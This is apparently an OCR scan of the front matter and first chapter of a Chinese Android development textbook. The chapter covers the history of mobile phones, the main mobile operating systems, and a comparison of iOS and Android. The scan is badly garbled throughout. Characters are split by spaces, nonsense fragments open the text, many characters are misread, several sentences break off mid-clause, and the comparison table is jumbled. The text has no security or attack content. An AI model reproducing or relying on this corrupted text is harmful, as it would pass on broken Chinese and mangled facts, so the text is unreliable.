4 
“和 


关 - 


1 


从 


[a 


i 


Wa 
中 让 由 


Android 


战 经典 


二 
ws 


INNYOY 
YIHOVAL 


李兴华 编 车 


国 


名 师 讲解 : 52 小 时 高 清 教 学 视频 
实例 教学 : 543 个 各 类 实例 及 分 析 
海量 资料 : 2 DVD 超大 容量 


-ss 
LENSNAA @ 视频 讲解 : 
= 52 小 时 知名 讲师 Android 高 清 教 学 视频 ， 课 程 培训 市 场 价值 
AN 2500 元 ! 
个 Sr 一 
所 I) \ Q 名 师 编著 : 
作者 系 北京 魔 乐 科技 (MLDN 实 训 中 心 ) 首席 讲师 ，8 年 软 


件 开发 经 验 ，6 年 高 端 培训 经 验 ， 为 大 中 型 企业 培训 超过 40 
家 ， 培 训 就 业 学 员 逾 万 人 。 
实例 教学 : 
543 个 各 类 实例 源 代码 及 运行 结果 、 过 程 分 析 ， 加 强 实战 。 
电子 教案 : 
为 方便 老师 授课 ， 登 录 http://Awww .jiangker.com 可 获取 
mr 本 书 电子 教案 。 
入 @ 技术 支持 ; 
魔 乐 3G/4G 就 业 实 训 中 心 : http://3g.mldnjava.cn/ 
官方 技术 论坛 : http://bbs.mldn.cn 
课程 合作 网 站 : www .jiangker.com 
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《名 师 讲 坛 一 一 Android 开发 实战 经 典 》 从 初学 者 的 角度 ， 以 丰富 的 实例 、 案 例 ， 通 俗 易 懂 的 语言 ， 简 
单 的 图 示 , 系统 全 面 地 讲述 了 Android 开发 中 应 用 的 技术 。 全 书 共 分 为 13 章 , 包括 认识 Android、 搭建 Android 
开发 环境 、 初 识 Activity、Android 中 的 基本 控件 (上 ) 、 布 局 管理 器 、Android 事件 处 理 、Android 中 的 基本 
控件 (下) 、 数 据 存储 、Android 组 件 通 信 、 多 媒体 技术 、 手 机 服务 、 网 络 通信 、 定 位 服务 等 内 容 。 

《名 师 讲坛 一 一 Android 开发 实战 经 典 》 提 供 了 大 量 的 小 实例 、 案 例 、 示 意图 ， 方 便 读者 快速 理解 和 
应 用 , 随 书 附带 长 达 50 多 小 时 的 教学 视频 和 PPT 电子 教案 , 另外 还 专门 提供 了 BBS 论坛 为 读者 解答 问题 。 
《名 师 讲 坛 一 一 Android 开发 实战 经 典 》 作 者 有 多 年 的 开发 和 教学 经 验 ， 愿 意 成 为 读者 的 良师益友 。 

《名 师 讲坛 一 一 Android 开发 实战 经 典 》 适 合 每 一 位 从 事 Android 开发 的 技术 人 员 , 也 适合 作为 培训 中 
心 、 计 算 机 相关 专业 的 参考 书 。 
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写 在 前 面 的 话 


我 们 在 用 心 做 事 ， 做 最 好 的 教育 ， 做 最 好 的 书籍 。 
一 一 魔 乐 科技 (MLDN ) 李兴华 


非常 感谢 广大 读者 长 期 以 来 对 “名 师 讲 坛 ” 系 列 图 书 的 支持 ， 此 时 您 拿 到 的 这 本 《名 师 
讲坛 一 一 Android 开发 实战 经 典 》 是 此 套 技 术 系列 图 书 的 最 新 作品 ， 相 信 一 定 可 以 满足 您 学 习 
Android 技术 的 需求 ， 并 且 可 以 从 中 获得 更 多 有 用 的 实战 开发 技术 。 

本 书 从 2010 年 8 月 开始 酝酿 、 筹 划 ， 到 2011 年 10 月 18 日 编写 完成 ， 共 历经 了 近 15 个 月 
的 时 间 ， 在 此 非常 感谢 各 位 读者 对 笔者 编写 工作 的 理解 、 对 本 书 延 迟 推出 的 谅解 以 及 对 本 书 一 
如 既往 地 关注 与 支持 。 同 时 ， 要 感谢 清华 大 学 出 版 社 的 刘 利 民 编 辑 ， 是 他 一 直 支 持 着 我 完成 本 
书 创作 ， 并 且 指 导 我 将 本 书 逐 步 完 善 ， 最 终 得 以 与 广大 读者 见面 。 另 外 ， 要 感谢 魔 乐 科技 软件 
学 院 的 所 有 工作 人 员 给 予 我 的 帮助 与 支持 ， 书 中 那些 漂亮 的 界面 、 独 有 的 案例 更 是 魔 乐 科技 所 
有 工作 人 员 不 断 论证 、 总 结 、 修 改 、 努 力 的 结晶 ， 今 后， 我们 团队 将 继续 秉承 对 工作 认真 负责 
的 精神 ， 踏 实 做 好 本 职工 作 ， 为 魔 乐 科技 软件 学 院 的 发 展 黄 定 最 坚实 的 基础 。 

从 Android 技术 进入 中 国 ， 魔 乐 科技 就 时 刻 关注 着 此 技术 的 发 展 ， 当 时 的 国内 还 是 以 
Symbian、MTK 技术 为 主 , 但 不 到 两 年 时 间 ， iOS 和 Android 在 国内 异军突起 ，Android 的 时 代 
也 随 之 到 来 , 同时 ， 大 量 关 于 Android 的 图 书 涌 入 图 书市 场 , 但 相信 买 过 这 些 图 书 的 读者 应 该 与 
我 有 相似 的 几 点 感受 : 

(1) 由 于 许多 图 书 是 翻译 版 本 ， 所 以 内 容 讲解 较 粗糙 ， 许 多 概念 缺少 详细 解释 。 

(2) 同一 人 “生命 ” 

(3) 书 中 的 结构 不 清晰 ， 重 点 不 明确 ， 经 常 是 看 完 之 后 仍然 不 知道 如 何 实际 使 用 。 

基于 如 上 感受 ， 从 2010 年 8 月 开始 ， 笔者 将 所 了 解 的 Android 技术 编写 成 书 ， 以 为 读者 提 

一 本 真正 可 以 看 得 慌 . 用 得 上 的 Android 技术 图 书 ， 方 便 读者 参考 、 学 习 。 本 书 计划 于 2011 
年 6 月 出 版 ， 但 由 于 当时 恰 着 Android 2.3.3 版 本 推出 ， 为 了 使 读者 更 好 地 掌握 新 版 本 ， 并 且 能 
马上 将 所 学 知识 运用 于 实战 开发 中 ， 笔 者 将 教材 中 使 用 的 Android 2.2 版 本 替换 为 新 版 本 ， 并 对 
书稿 内 容重 新 整理 ， 对 技术 的 解释 、 案 例 重新 设计 ， 添 加 了 更 为 完整 的 注释 。 虽 然 此 书 未 能 与 
您 如 期 见面 ， 但 是 现在 的 内 容 更 值得 您 期 待 。 

在 魔 乐 科技 软件 学 院 的 教学 工作 中 ， 经 常会 有 人 问 到 ， 到 底 该 如 何 去 学 习 Android? 

面 对 这 个 问题 ， 魔 乐 科技 始终 强调 一 个 最 核心 的 问题 一 基础 ， 而 且 更 为 重要 的 是 Java SE 
基础 ， 或 者 说 是 面向 对 象 的 分 析 与 设计 。Android 不 是 凭空 产生 的 ， 而 一 门 新 技术 如 果 要 更 好 地 
推广 使 用 就 必须 依靠 于 原 有 的 开发 模式 ，Google 的 Android 选择 的 恰恰 是 开发 人 员 众 多 的 Java 
平台 ,所 以 我 们 建议 读者 至 少 在 学 习 了 本 系列 图 书 的 《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 和 《名 
师 讲坛 一 一 Java Web 开发 实战 经 典 》, 并 且 熟 练 掌握 了 面向 对 象 的 各 个 概念 以 及 应 用 案例 、MVC 
设计 模式 、HIML、JavaScript、XML 等 基础 技术 后 再 进行 本 书 的 学 习 ， 这 样 便 会 更 好 地 掌握 这 
门 技术 ， 逐 步 攻克 学 习 中 的 难点 与 问题 。 在 任何 技术 的 学 习 中 ， 基 础 一 定 是 最 重要 的 ， 在 清楚 
了 解 自身 实际 掌握 情况 后 ， 有 针对 性 地 按照 步骤 及 前 期 计划 去 学 习 ， 切 忌 随 波 逐 流 、 跳 跃 前 进 ， 


名 师 讲坛 一 一 Android 开发 实战 经 典 


持之以恒 才能 取得 最 终 的 成 就 。 另 外 ， 本 书 的 视频 资料 已 经 在 魔 乐 科 技 的 学 员 中 推广 使 用 ， 而 
学 员 试 听 后 的 反馈 信息 也 让 我 们 更 加 有 信心 向 大 家 推荐 ， 本 书 一 定 是 一 本 大 家 可 以 读 懂 并 能 作 
为 手边 工具 书 的 Android 图 书 。 

个 人 认为 ， 在 企业 平台 开发 中 ，Android 的 最 大 特点 在 于 提供 了 一 个 便捷 的 移动 办 公平 台 。 
早期 许多 公司 、 企 业 都 使 用 Java 构建 了 自己 的 办 公平 台 ， 如 OA、ERP 等 系统 ， 但 是 在 移动 情 
况 下 ， 这 种 平台 的 使 用 就 会 受到 限制 ， 所 以 现在 许多 公司 都 开始 考虑 将 这 种 平台 向 移动 领域 发 
展 ， 而 Android、iOS 也 就 成 为 了 首选 ， 这 其 中 又 以 Android 为 主 ， 因 为 Java 比 C 语言 在 开发 人 
员 数 量 上 占有 优势 。 不 过 不 管 从 事 何 种 行业 ， 掌 握 项 目的 核心 业务 流程 是 最 为 关键 的 ， 这 也 是 
在 我 们 魔 乐 科技 培训 时 对 所 有 学 员 一 再 强调 的 ， 不 要 被 技术 蒙蔽 了 双眼 ， 技 术 只 是 一 个 实现 的 
工具 ， 而 业务 流程 才 是 最 为 核心 关键 的 ， 而 这 些 年 通过 魔 乐 科技 推荐 就 业 的 学 员 ， 一 直 秉承 着 
这 样 的 观点 ， 继 续 发 扬 着 在 魔 乐 科技 培训 的 学 习 精 神 ， 在 各 自 的 领域 中 不 断 取得 新 的 进步 。 

本 书 讲解 的 重点 是 软件 开发 ， 但 对 于 一 些 游 戏 、 图 形 化 的 内 容 也 做 了 相应 介绍 。 本 书 几乎 
涉及 了 日 常 开发 所 需 的 所 有 知识 要 点 ， 而 且 其 中 包含 丰富 的 代码 开发 案例 ， 可 以 帮助 每 一 位 从 
事 Android 开发 的 技术 人 员 解 决 工作 中 遇 到 的 问题 ， 相 信 读 者 也 可 以 根据 这 些 案 例 不 断 进 行 扩 
展 ， 从 而 开发 出 属于 自己 的 Android 项 目 。 

此 外 ， 本 书 也 为 读者 提供 了 很 好 的 学 习 支 持 ， 当 学 习 中 遇 到 困惑 、 问 题 时 ， 可 以 登录 
http://bbs.mldn.cn 论坛 寻求 魔 乐 科技 软件 学 院 老师 的 帮助 ， 如 果 您 是 院 校 的 老师 ， 还 可 以 登录 
http://www.jiangker.com 平台 注册 , 会 有 专门 的 工作 人 员 与 您 联系 , 并 为 您 提供 完整 的 教学 大 纲 、 
学 习 笔记 、 视 频 教学 等 一 系列 资料 ， 更 好 地 将 我 们 的 课程 和 教学 理念 推广 给 更 多 喜欢 软件 的 学 
子 们 ， 让 每 一 位 有 志 于 从 事 软件 行业 的 人 员 轻 松 面 对 学 习 的 挑战 。 

另外 ， 由 于 书 中 的 所 有 内 容 均 为 原创 ， 难 免 有 不 完善 的 地 方 ， 希 望 读者 在 阅读 本 书 的 同时 ， 
可 以 为 我 们 提出 宝贵 的 修改 建议 或 意见 ， 您 可 直接 将 建议 或 意见 发 送 至 邮箱 mldnqa@163.com 
中 ， 我 们 会 及 时 采纳 并 对 书 中 的 内 容 进行 修改 ， 争 取 将 本 系列 软件 开发 类 图 书 打造 成 为 中 国 最 
好 的 软件 教材 之 一 ， 帮 助 更 多 的 人 实现 软件 之 梦 。 

最 后 ， 希 望 每 位 读者 在 阅读 本 书 的 过 程 中 可 以 获得 更 大 的 收获 ， 学 有 所 成 ， 也 希望 每 位 读 
者 都 为 追求 自己 的 梦想 而 永 不 放弃 。 
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第 1 章 认识 Android 


通过 本 章 的 学 习 可 以 达到 以 下 目标 : 

回 了 解 智 能 手机 的 发 展 历史 。 

了 解 当前 各 个 手机 操作 系统 的 特点 及 应 用 。 

了 解 Android 操作 系统 的 特点 及 体系 结构 。 

理解 Android 的 体系 结构 。 

随 着 互联 网 的 发 展 ， 人 们 已 经 开始 更 多 地 去 在 意 手机 这 个 原本 只 用 于 通话 的 设备 能 否 适 应 
新 时 代 的 要 求 ， 应 运 而 生 的 智能 手机 已 经 开始 引导 当前 的 通信 和 领域。 而 随 着 智能 手机 的 发 展 ， 
也 有 越 来 越 多 的 手机 操作 系统 进入 了 人 们 的 视野 ，Android 操作 系统 凭借 着 其 自身 的 实力 及 与 手 
机 生产 商 的 紧密 结合 ， 发 展 空间 被 人 们 所 看 好 。 本 章 将 详细 介绍 智能 手机 的 发 展 以 及 Android 
的 基本 组 成 。 


1.1 智能 手机 的 发 展 


“手机 ”， 在 今天 已 不 再 是 一 个 陌生 的 词汇 ， 其 已 成 为 现代 生活 中 通信 和 领域 必 不 可 少 的 工 
具 之 一 ， 而 对 于 手机 的 探索 研究 ， 可 以 一 直 追 溯 到 1902 年 ， 最 初 是 由 美国 人 内 森 。 斯 塔 布 菲 尔 
德 〈 如 图 1-1 所 示 ) 在 肯塔基 州 默 里 的 乡下 住宅 内 制 成 了 第 一 个 无 线 电话 装置 。 

1938 年 ， 为 了 解决 美国 军 方 的 无 线 通信 和 问题， 贝尔 实验 室 应 美国 军 方 的 要 求 制作 出 了 世界 
上 第 一 台 “ 移 动 电话 ”， 再 后 来 到 了 1973 年 ， 摩 托 罗拉 公司 工程 技术 员 马 丁 。 库 帕 ( 如 图 1-2 
所 示 ) 发 明了 民用 手机 ， 所 以 马丁 * 库 帕 被 称 为 现代 手机 之 父 。 


图 1-1 内 森 * 斯 塔 布 菲尔德 
在 手机 发 展 的 同时 ， 通 信和 网 络 也 在 不 断 地 改善 ， 


图 1-2 马丁。 库 帕 
由 最 早 的 模拟 通信 网 络 〈1G 网 络 ) ， 发 展 
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到 今天 广 为 使 用 的 数字 通信 网 络 (2G 网络) ， 再 到 可 以 处 理 图 像 、 视 频 流 并 能 方便 地 访问 国际 
互联 网 的 第 三 代 通 信和 网 络 (3G 网 络 ) ， 以 及 将 要 建立 的 4G 通信 网 络 ， 都 为 手机 终端 的 发 展 带 
来 了 更 多 的 发 展商 机 ， 所 以 手机 已 经 不 再 像 最 早 那样 只 满足 基本 的 通话 功能 ， 而 是 开始 逐步 地 变 
为 一 个 移动 的 PC 终端 。 而 这 种 可 以 像 计算 机 一 样 拥有 独立 操作 系统 ， 可 以 由 用 户 自由 开发 、 安 装 
软件 ， 也 可 以 自由 接 入 互联 网 进行 访问 的 智能 手机 ， 也 就 开始 在 人 们 的 生活 中 广泛 使 用 开 来 。 

对 于 智能 手机 有 如 下 几 个 主要 的 特点 : 

用 户 可 以 通过 GSM 或 CDMA 无 线 网 络 的 方式 接 入 互联 网 。 

可 以 具备 PDA 设备 的 诸多 功能 ， 如 日 程 管理 、 多 媒体 播放 等 功能 。 

具备 独立 的 手机 操作 系统 ， 可 以 由 用 户 根据 自己 的 需要 任意 扩充 更 多 的 第 三 方 应 用 程序 。 


1.2 手机 操作 系统 


智能 手机 本 身 就 是 一 款 搭载 了 操作 系统 的 手机 ， 而 在 手机 上 有 许多 著名 的 操作 系统 ， 如 
Symbian、Palm、BlackBerry、iOS、Windows Mobile、Linux、Android 等 ， 下 面 分 别 介绍 这 几 款 
手机 操作 系统 。 


1. Symbian 操作 系统 


提 到 手机 操作 系统 ， 人 们 不 得 不 想到 最 早 依靠 Symbian ( 塞 班 ) 操作 系统 发 展 起 来 的 诺基亚 
手机 ， 正 是 因为 诺基亚 率先 开发 智能 手机 成 功 ， 才 让 越 来 越 多 的 人 体验 到 智能 手机 的 无 穷 魅力 ， 
而 随 之 而 来 的 大 量 第 三 方 应 用 程序 ,更 是 丰富 了 用 户 的 使 用 。Symbian 是 一 个 实时 性 、 多 任务 的 
纯 32 位 操作 系统 ， 具 有 功 耗 小 、 内 存 占用 少 等 特点 ， 经 过 多 年 不 断 地 发 展 ，Symbian 系统 已 经 
取得 了 无 比 的 市 场 优势 ， 但 是 随 着 时 间 的 推移 以 及 同类 手机 操作 系统 加 入 到 竞争 行列 之 中 ， 
Symbian 也 由 最 早 的 霸主 地 位 开始 逐步 衰退 。 

“了 /提示 

Symbian 衰退 的 原因 。 

就 笔者 个 人 的 经 验 总 结 来 讲 ，Symbian 衰退 的 根本 因素 在 于 ,诺基亚 (Nokia ) 公司 本 身 
并 不 是 一 个 研发 手机 操作 系统 的 公司 。 众 所 周知 ， 诺 基 亚 最 早 并 不 是 一 个 纯粹 研制 手机 的 公 
司 ; 其 在 2000 年 之 前 所 推出 的 手机 与 摩托 罗拉 ( Motorola ) 等 手机 还 相距 其 远 ， 一 直 没 有 达 
到 预期 的 销量 而 变 得 负债 累累 ， 但 是 诺基亚 公司 大 胆 地 与 摩托 罗拉 、 爱 立信 ( Ericsson ) 、 
三 菱 (MITSUBISHI ) 和 宝 意 昂 (Psion，Symbian 操作 系统 的 前 身 是 英国 宝 意 昂 公司 的 EPOC 
操作 系统 ) 公司 在 英国 伦敦 共同 投资 成 立 Symbian 公司 ， 并 使 用 该 公司 的 Symbian 系统 ， 而 
这 最 终 促进 了 诺基亚 公司 的 成 功 ， 并 且 走 在 了 智能 手机 的 前 列 ， 同 时 获得 了 丰厚 的 利润 。 但 
是 在 2008 年 , Symbian 操作 系统 被 诺基亚 公司 全 额 收购 , 而 后 诺基亚 公司 并 没有 让 该 操作 系 
统 得 到 应 有 的 发 展 ， 而 且 对 手机 厂商 收取 相当 高 的 使 用 费用 ， 许 多 手机 厂商 无 法 负担 高 额 的 “ 
使 用 费 ， 从 而 导致 Symbian 系统 的 发 展 受到 了 阻碍 ， 最 终 的 结果 就 是 诺基亚 手机 开始 逐步 退 
出 高 端 手机 市 场 。 作 者 认为 ，Symbian 毕竟 有 一 定 的 用 户 群 体 ， 最 好 的 发 展 之 路 就 是 使 用 原 ， 
始 的 操作 语法 不 变 ， 而 使 用 新 的 系统 架构 ， 全 面 提升 自身 性 能 。 
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2. Palm 操作 系统 


Palm (Palmcomputing) 操作 系统 是 Palm 公司 开发 的 一 种 32 位 的 嵌入 式 操作 系统 ， 最 早 是 
为 学 上 电脑 所 开发 的 。 由 于 当时 硬件 设备 的 性 能 低下 ，Palm 操作 系统 所 占用 的 内 存 空间 只 有 几 
十 KB， 而 且 因 其 出 现 较 早 ， 本 身 存在 着 一 些 功能 上 的 不 足 ， 如 不 直接 支持 MP3 音乐 播放 或 电 
影 等 。 由 于 PDA 设备 的 减少 , Palm 公司 于 2010 年 被 HP 公司 所 收购 , Palm 系统 经 过 修改 后 〈 改 
为 Web OS) 成 为 HP 平板 电脑 上 所 使 用 的 操作 系统 。 


3. BlackBerry 操作 系统 


BlackBery《〈 黑 莓 ) 操作 系统 是 由 RIM 公司 独立 开发 的 与 黑莓 手机 配套 的 系统 ， 由 于 黑莓 
手机 在 国外 的 发 展 势 头 强劲 ， 所 以 这 款 操作 系统 也 就 变 得 声明 赫赫 ， 但 是 近 几 年 黑莓 手机 在 
多 个 国家 频频 受到 排挤 , 并 且 同 时 面临 着 Android 和 iOS 操作 系统 的 挑战 , 其 市 场 份额 也 在 逐步 
减少 。 


4. iOS 操作 系统 


iOS 是 由 苹果 公司 专门 为 iPhone 手机 开发 的 操作 系统 , 主要 应 用 在 iPhone、 iPad、 iPod touch 
上 。iOS 操作 系统 支持 多 点 触 控 , 再 加 上 苹果 公司 的 号 召 力 ， 所 以 iOS 操作 系统 现在 的 发 展 势头 
依然 被 看 好 ， 而 且 有 众多 专业 的 软件 及 游戏 制造 商 加 入 到 了 iOS 第 三 方 软件 的 开发 阵营 ， 使 得 
iOS 上 可 用 的 应 用 程序 越 来 越 多 , 但 是 iOS 操作 系统 并 不 是 一 个 开源 的 操作 系统 , 目前 只 能 应 用 
于 苹果 公司 的 移动 设备 上 。 

5. Windows Mobile 操作 系统 


Windows Mobile 是 Microsoft 公司 专门 为 移动 设备 而 推出 的 移动 版 Windows 操作 系统 , 由 
于 其 界面 的 显示 类 似 于 Windows 操作 系统 ， 所 以 用 户 操作 起 来 比较 容易 上 手 。 该 操作 系统 预 
装 了 Office、IE 等 常用 软件 ， 而 且 支 持 很 强 的 媒体 播放 能 力 以 及 与 Windows 操作 系统 的 同步 
支持 , 但 是 由 于 其 对 硬件 要 求 较 高 ， 并 且 系 统 会 经 常 出 现 死 机 问题 ,所 以 限制 了 此 操作 系统 的 


6. Linux 操作 系统 


Linux 操作 系统 凭借 着 其 自身 开源 的 特点 也 被 不 少 移动 设备 生产 商 所 看 好 , 因为 使 用 此 操作 
系统 可 以 大 大 降低 移动 设备 的 制造 成 本 ,各 个 移动 设备 生产 商 可 以 根据 自己 的 需要 对 Linux 进行 
扩充 并 形成 自己 的 操作 系统 。 但 是 另 一 方面 ， 由 于 Linux 的 开发 难度 较 高 ， 也 没有 更 好 的 开发 平 
台 支 持 ， 再 加 上 开发 Linux 操作 系统 的 公司 并 没有 很 强 的 实力 , 各 个 不 同 版 本 的 Linux 操作 系统 
过 多 ， 所 以 很 难 再 实现 技术 上 的 突破 。 

7. Android 操作 系统 


Android 操作 系统 是 由 Google 公司 基于 Linux 内 核 而 推出 的 一 款 移动 操作 系统 ， 它 继续 延 
续 着 Linux 开源 的 特点 , 采用 多 任务 处 理 , 而 且 设 计 出 了 更 加 华丽 的 图 形 界面 。 由 于 其 使 用 Java 
作为 程序 开发 语言 ， 所 以 有 不 少 Java 开发 人 员 陆 续 地 加 入 到 此 系统 软件 的 开发 阵营 ， 再 加 上 
Google 的 号 召 力 及 各 个 移动 设备 厂商 的 支持 ， 使 Android 在 短期 之 内 迅速 发 展 。 虽 然 目前 应 用 
软件 相对 较 少 ， 但 随 着 时 间 的 推移 ，Android 操作 系统 必 将 取得 更 大 的 成 功 。 
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:提示 
中 国电 信 一 直 在 大 力 倡导 Android 的 开发 。 
随 着 Android 被 推广 以 来 ， 中 国电 信 一 直 大 力 倡导 着 Android 的 开发 ， 而 后 中 国电 信和 
”联想 ,移动 以 Android 为 基础 ,将 其 修改 为 OPhone 平台 , 希望 可 以 作为 3G 手机 的 发 展 平台 。 
: Android 在 中 国 发 展 的 市 场 前 景 是 被 人 们 所 看 好 的 ， 但 是 又 有 一 些 硬件 的 担忧 。 众 所 周 
;， 知 ， 中 国 的 网 络 带宽 不 足 ， 智 能 移动 设备 的 覆盖 率 不 广 ， 这些 都 必 将 影响 3G 技术 (3G 网络 
， 未 完全 铺 开 的 同时 ，4G 网 络 又 已 然 进入 到 中 国 ) 在 中 国 的 发 展 ， 而 且 对 于 嵌入 式 开发 ， 从 
2002 年 起 就 一 直 被 一 些 投机 人 士 作为 概念 在 进行 炒作 , 一 直到 今天 。 笔者 在 这 些 年 中 也 接触 
到 不 少 的 专业 手机 开发 人 员 ， 但 是 对 其 所 编写 代码 的 质量 实在 是 不 敢 恭维 ， 也 没有 任何 合理 
的 设计 ， 如 果 刚 入 行 就 做 这 种 开发 ， 虽 然 短期 内 可 以 得 到 很 大 的 收益 ， 但 是 长 久 来 讲 ， 手 机 
开发 人 员 很 难 接触 到 行业 的 业务 ， 也 很 难 接触 到 正规 的 开发 架构 。 有 许多 学 生 一 直 在 询问 
Android 的 开发 前 景 是 好 是 坏 , 对 此 笔者 的 回答 只 能 是 : “因为 Android 使 用 Java 技术 开发 ， 

;所 以 在 技术 上 并 没有 任何 的 难度 ， 而 Android 作为 技术 供 个 人 研究 一 下 尚 可 ， 如 果 你 已 经 从 
事 了 某 一 个 行业 ， 那 么 就 没有 必要 非 转 向 Android 开发 。” 笔 者 之 所 以 这 样 回答 主要 的 一 个 
原因 是 ， 对 于 具有 丰富 项 目 经 验 的 开发 人 员 来 说 ， 肯 定 熟 悉 一 个 或 几 个 行业 的 业务 流程 ， 而 
这 些 行业 解决 方案 才 是 软件 开发 的 正 途 ， 因 为 每 一 个 开发 人 员 不 可 能 做 一 辈子 的 技术 ， 如 果 
你 已 经 在 某 个 行业 中 取得 了 一 定 的 成 就 ， 那 么 就 建议 一 直 做 下 去 ， 一 直 做 到 最 优秀 ， 没 有 必 
要 转向 Android 开发 。 


通过 以 上 介绍 ， 相 信 读 者 已 经 对 常见 的 手机 操作 系统 有 所 了 解 ， 但 就 笔者 的 经 验 而 言 ， 现 
在 的 手机 操作 系统 由 于 Symbian 的 没落 ， 基 本 上 已 经 形成 了 Android 和 iOS 平分 天 下 的 态势 ， 
而 新 的 操作 系统 大 战 也 将 在 这 两 个 系统 间 展 开 ， 关 于 这 两 个 系统 的 比较 将 随后 介绍 。 


1.3 走 进 Android 


Android 机器人， 著名 标志 是 一 个 机 器 人 ， 如 图 1-3 所 示 ，Android 3.0 之 后 的 标志 如 图 1-4 
所 示 ) ， 最 早 由 安 迪 。 罗 宾 (Andy Rubin) 创办 ， 于 2007 年 被 Google 公司 的 创始 人 佩 奇 收购 ， 
而 后 Google 公司 凭借 着 Android 操作 系统 在 智能 手机 上 取得 了 巨大 的 成 功 。 


人 


QQnD2OID 


图 1-3 Android 标志 图 1-4 Android 3.0 版 本 之 后 的 标志 
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与 其 他 手机 操作 系统 相 比 ，Android 具有 如 下 特点 。 


回 


开放 性 : Android 设计 之 初 首先 提倡 的 就 是 建立 一 个 标准 化 、 开 放 式 的 移动 软件 平台 ， 
所 以 Android 操作 系统 是 直接 建立 在 开放 源 代码 的 Linux 操作 系统 上 进行 开发 的 , 这样 
使 得 更 多 的 硬件 生产 商 加 入 到 了 Android 开发 阵营 , 也 有 更 多 的 Android 开发 者 投入 到 
了 Android 的 应 用 程序 开发 中 ， 这 些 都 为 Android 平台 带 来 了 大 量 的 新 的 应 用 。 
平等 性 : 在 Android 操作 系统 上 , 所 有 的 应 用 程序 不 管 是 系统 自 带 的 还 是 由 应 用 程序 开 
发 者 自己 开发 的 , 都 可 以 根据 用 户 的 喜好 任意 蔡 换 , 如 文本 编辑 器 , 既 可 以 使 用 Android 
内 部 提供 的 ， 也 可 以 单独 开发 。 
无 界 性 : 在 多 个 应 用 程序 之 间 ， 所 有 的 程序 都 可 以 方便 地 进行 互相 访问 ， 不 会 受到 程 
序 的 限制 , 开发 人 员 可 以 将 自己 的 程序 与 其 他 程序 进行 交互 , 例如 , 通讯 录 的 功能 本 身 
可 以 由 Android 提供 , 但 是 开发 人 员 也 可 以 直接 调用 通讯 录 的 程序 代码 ,并 在 自己 的 应 
用 程序 上 使 用 。 

方便 性 : Android 使 用 Java 作为 开发 语言 ， 所 以 对 熟悉 Java 的 开发 人 员 没 有 任何 难度 。 
在 Android 操作 系统 中 ， 为 用 户 提供 了 大 量 的 应 用 程序 组 件 (如 Google Map、 图 形 界 
面 、 电 话 服务 等 ) ， 用 户 直接 在 这 些 组 件 的 基础 之 上 构建 自己 的 开发 程序 即 可 。 
硬件 的 丰富 性 : 由 于 平台 开放 ， 所 以 有 更 多 的 移动 设备 厂商 根据 自己 的 情况 推出 了 各 
式 各 样 的 Android 移动 设备 ,虽然 在 硬件 上 有 一 些 差 异 , 但 是 这 些 差异 并 不 会 影响 数据 
的 同步 与 软件 的 兼容 性 。 


/提示 


Android 的 开放 性 可 能 不 会 持续 太 久 。 

Android 操作 系统 的 开放 性 确实 为 一 些 移动 设备 生产 商 带 来 了 福音 ， 但 是 另 一 方面 ， 各 
个 移动 设备 生产 商 往往 会 针对 于 自己 的 情况 对 Android 操作 系统 进行 修改 ， 这 样 一 来 就 造成 
了 Android 操作 系统 的 版 本 混乱 ， 从 而 导致 许多 程序 无 法 任意 地 移植 到 不 同 厂商 的 移动 设备 
上 ， 而 Google 公司 也 在 针对 这 一 点 对 Android 市 场 策略 进行 调整 ， 所 以 Android 的 开放 性 可 
能 不 会 持续 太 久 ， 当 然 ， 最 终 的 结果 是 什么 ， 我 们 还 要 拭目以待 。 


在 Android 操作 系统 之 前 , 对 于 同类 的 手机 操作 系统 , 只 有 苹果 公司 的 iOS 操作 系统 是 比较 


成 功 的 ， 


而 当 Android 成 功 地 推广 开 来 之 后 , 与 iOS 就 形成 了 一 个 平分 天 下 的 态势 。 这 两 款 操作 


系统 的 比较 如 表 1-1 所 示 。 


表 1-1 iOS 和 Android 的 比较 


No. 比较 iOS (iPhone 手机 ) Android 

1 开发 平台 Apple Mac OS 不 局 限于 操作 系统 

于 开发 工具 Xcode Eclipse 

3 开发 语言 Objective 一 C Java 

可 兼容 性 封闭 操作 系统 ， 由 Apple | Google 规定 硬件 标准 , 由 不 同 的 厂商 进行 手 
制定 ， 兼 容 性 高 机 的 研发 。 由 于 厂商 众多 ， 所 以 兼容 性 低 

5 TI 交互 界面 主要 依靠 触 屏 完成 需要 触 屏 和 按键 同时 操作 

6 显示 风格 统一 的 视觉 规范 和 分 辨 率 | 视觉 规范 由 厂商 决定 ， 屏 幕 分 辩 率 繁多 


表 1-1 简单 地 列举 了 两 款 操作 系统 在 使 用 上 的 明显 区 别 。Android 由 于 有 众多 的 厂商 支持 ， 
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而 


且 在 Android 开放 源 代码 期 间 也 有 不 少 厂 商 对 这 些 代 码 进行 了 修改 与 扩充 , 所 以 开发 出 来 的 应 


-mn 


程序 表 定 不 会 像 1iOS 那样 稳定 ， 但 是 Android 的 开放 性 也 同样 取得 了 不 少 成 绩 , 今后 Android 
将 何去何从 ， 我 们 不 妨 拭目以待 吧 。 
提示 
革 果 公司 乔布斯 的 慧眼 。 


苹果 公司 的 iPhone 手机 取得 了 巨大 的 成 功 ,这 一 切 都 要 归功 于 苹果 公司 临时 行政 总 裁 乔 
布 斯 的 慧眼 。 在 Symbian 手机 盛行 的 时 代 ， 乔 布 斯 发 现 智 能 手机 还 可 以 有 更 多 的 发 展 空间 ， 

; 于 是 抱 着 这 个 态度 ， 蔷 果 公司 开始 尝试 加 入 到 智能 手机 的 开发 行列 中 ，iPhone 手机 就 是 在 这 
种 情况 下 产生 的 。 到 今天 ，iPhone 上 所 使 用 的 iOS 操作 系统 以 及 苹果 公司 追求 完美 的 设计 品 
质 , 已 经 让 iPhone 手机 取得 了 巨大 的 成 功 , 随后 , Android 出 现 , 形成 了 “Android VS iPhone” 
的 局 面 。 

不 过 遗憾 的 是 , 这 位 极 具 创造 力 和 影响 力 的 苹果 临时 行政 总 裁 乔 布 斯 , 由 于 疾病 的 恶化 ， 
于 2011 年 10 月 6 日 逝世 ， 他 的 逝世 将 给 苹果 带 来 怎样 的 影响 ， 只 能 通过 时 间 来 说 明了 。 如 
图 1-5 所 示 为 乔布斯 逝世 时 苹果 公司 网 站 上 挂 出 来 的 照片 。 


Steve Jobs 
1955-2011 


图 1-5 乔布斯 
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Google 公司 已 经 于 2011 年 8 月 15 日 收购 了 摩托 罗拉 公司 。 

由 于 iPhone 移动 设备 具备 “硬件 + 软件 ”的 先天 优势 ， 所 以 Google 的 Android 要 想 真 
